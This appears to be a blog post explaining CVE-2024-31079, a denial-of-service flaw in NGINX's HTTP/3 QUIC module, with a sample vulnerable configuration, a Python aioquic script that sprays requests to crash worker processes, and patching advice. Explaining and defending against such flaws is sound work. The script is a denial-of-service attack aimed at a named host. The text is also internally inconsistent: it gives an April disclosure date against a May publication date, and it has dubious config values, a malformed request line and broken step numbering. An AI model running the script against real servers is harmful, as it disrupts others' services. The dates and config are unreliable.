On April 16, 2024, NGINX disclosed a new vulnerability tracked as CVE-2024-31079. This issue affects both NGINX OSS (Open Source Software) and NGINX Plus when configured to use the HTTP/3 QUIC module. Attackers can exploit this flaw to crash NGINX worker processes in certain situations, potentially causing denial-of-service (DoS) to any web service running NGINX with HTTP/3 enabled.

This post will explain what CVE-2024-31079 is, how it can be exploited, who is affected, and how to protect your system. I’ll keep things simple, break down the technical details, and provide code snippets where possible.

What Is Affected?

- NGINX OSS/NGINX Plus
- Only when using the ngx_http_v3_module
- HTTP/3 is enabled (QUIC protocol via UDP, usually port 443)

What Goes Wrong?

When HTTP/3 (via QUIC) is enabled, an attacker can send specially timed HTTP/3 requests during the _"connection draining"_ process. If timed just right, these requests can make a worker process crash unexpectedly. Since NGINX uses multiple worker processes, crashing one doesn’t necessarily mean your server is down — but it can degrade performance or make the site unreliable.

Typically, attackers have no precise visibility into the connection draining process and can’t completely control the timing, so triggering the bug is a bit hit-or-miss. But with persistence or some automation, the risk is still significant.

What is "Connection Draining"?

Connection draining is when NGINX starts closing a connection but still allows the last few in-flight requests to finish. After that, the connection fully closes.

The Exploit Steps

1. Attacker initiates a HTTP/3 handshake and streams some requests.

Attacker’s connection enters the draining phase.

3. During this phase, if the attacker sends a specific request at just the right moment, it can _crash the NGINX worker process_ handling the connection.

The attacker cannot see exactly when the draining phase starts or ends but can try to guess, resend, or automate attempts.

Why does the crash happen?
NGINX mishandles undisclosed HTTP/3 requests sent during draining, leading to a memory access error or assertion failure, which terminates the worker process.

Code Snippet: Example Minimal Vulnerable Configuration

# Example config that enables HTTP/3 QUIC
http {
    server {
        listen 443 ssl http2;
        listen 443 quic reuseport;   # Enables HTTP/3

        ssl_certificate      /etc/ssl/certs/cert.pem;
        ssl_certificate_key  /etc/ssl/private/key.pem;

        # Enable QUIC and HTTP/3.
        ssl_protocols       TLSv1.3;
        ssl_prefer_server_ciphers off;

        quic                  on;
        quic_max_idle_timeout 30s;
        quic_max_udp_payload_size 135;

        location / {
            root html;
        }
    }
}

If your NGINX instance is configured like this (with listen 443 quic reuseport; or similar), it is vulnerable.

A full exploit is tricky because it relies on timing, but a basic approach would be

1. Open a HTTP/3 connection (using a library or tool like quiche-client or curl with HTTP/3).

Sample code in Python using aioquic

# This is a conceptual example, not guaranteed to crash NGINX.
import asyncio
from aioquic.asyncio import connect

async def crash_nginx_http3():
    async with connect("example.com", 443, alpn_protocols=["h3-29"]) as protocol:
        for _ in range(100):  # Try repeatedly
            stream_id = protocol._quic.get_next_available_stream_id()
            protocol.create_stream(stream_id)
            protocol._quic.send_stream_data(stream_id, b"GET / HTTP/3.\r\n\r\n", end_stream=True)
            await asyncio.sleep(.01)
        await asyncio.sleep(2)

asyncio.run(crash_nginx_http3())

This script attempts to spray requests over QUIC/HTTP3, racing to hit during a draining window. In practice, more iteration and network traffic control are needed.

NGINX Security Advisory:

https://mailman.nginx.org/pipermail/nginx-announce/2024/000373.html

CVE Record:

https://nvd.nist.gov/vuln/detail/CVE-2024-31079
- NGINX HTTP/3 module docs:
https://nginx.org/en/docs/http/ngx_http_v3_module.html
- NGINX QUIC GitHub

Update NGINX:

Upgrade to the patched version as soon as possible. NGINX released fixed binaries and source as of April 16, 2024.

2. Disable HTTP/3/QUIC:
If you don’t need HTTP/3, remove or comment out lines like listen 443 quic reuseport; and reload NGINX.

Restrict Access:

If you must have HTTP/3, restrict it to known/trusted IPs using firewall rules.

Monitor Worker Crashes:

Check logs (/var/log/nginx/error.log) for unexpected worker terminations.

Conclusion

CVE-2024-31079 shows that even modern, high-performance web servers like NGINX need careful handling of emerging protocols like QUIC/HTTP3. If you run HTTP/3 in production, update fast or disable it until a fix is live.

Even though exploiting the bug is not trivial — needing precise timing — it can still disrupt your service if not patched. Stay safe and keep your NGINX up-to-date.


For more details, always check the official advisory. If you need help patching, consult your devops team or NGINX community support.

Timeline

Published on: 05/29/2024 16:15:09 UTC
Last modified on: 06/10/2024 18:15:31 UTC